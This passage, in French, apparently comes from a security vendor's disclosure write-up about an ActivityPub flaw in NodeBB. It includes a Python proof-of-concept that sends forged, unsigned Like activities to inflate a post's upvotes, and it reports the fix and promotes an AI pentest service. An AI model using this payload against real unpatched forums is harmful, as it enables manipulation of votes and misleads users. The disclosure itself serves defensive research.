const result = await posts.upvote(localId || id, object.actor);Un pirate peut envoyer à plusieurs reprises des requêtes de ce type afin d'augmenter progressivement le nombre de « j'aime » sur une publication, à raison de plusieurs milliers par minute, pour gonfler artificiellement la crédibilité de celle-ci.
POST_ID = 1 # Target post
payload = {
'id': str(uuid.uuid4()),
'type': 'Announce',
'actor': 'https://nodebb.local/uid/999',
'object': {
'id': f'https://nodebb.local/object/{uuid.uuid4()}',
'type': 'Like',
'actor': f'https://nodebb.local/fake-{uuid.uuid4()}',
'object': f'https://nodebb.local/post/{POST_ID}'
}
}
headers = {'Content-Type': 'application/activity+json',
'Signature': 'keyId=""'}
r = requests.post('https://nodebb.local/category/1/inbox',
headers=headers, json=payload)
Ce problème a été résolu (8e98325) en vérifiant systématiquement l'en-tête « Signature » pour les requêtes POST.
Conclusion
Avec l'essor de l'IA, la rapidité des tests d'intrusion ne cesse de s'accroître. Vous pouvez désormais engager en un clin d'œil une équipe de 400 petits testeurs d'intrusion pour analyser votre application, pour le prix d'un test d'intrusion classique. Les développeurs peuvent continuer à livrer du code rapidement tandis que les agents de test d'intrusion basés sur l'IA suivent le rythme et testent les nouvelles fonctionnalités à la recherche de failles de sécurité, même les plus infimes et les plus complexes. Chez Aikido, nous proposons des corrections automatiques (AutoFixes) et des retests simplifiés pour vous aider à corriger toutes les vulnérabilités identifiées.
NodeBB a réagi très rapidement à notre signalement, ce que nous avons beaucoup apprécié. Ils nous ont demandé des précisions sur certains points, et nous avons pu leur faire part de nos commentaires sur les corrections apportées afin de nous assurer qu'il n'y avait pas de failles faciles à contourner.
Une dernière remarque. Au cours de ce test d'intrusion, nous avons constaté de nombreuses vulnérabilités dans l'implémentation d'ActivityPub, et nous pensons que ce constat peut être généralisé et s'appliquer à d'autres applications. Lorsqu'il existe plusieurs façons de faire les choses, la méthode la plus courante ou intégrée est souvent très bien sécurisée, tandis que les alternatives regorgent de bogues. Assurez-vous que toutes vos intégrations externes et vos voies alternatives soient aussi sécurisées que vos principales !
Notre pentest IA l'a détecté de lui-même. Si vous souhaitez réaliser des tests d'intrusion rapides et de haute qualité sur votre application, découvrez la suite de tests d'intrusionAikido.

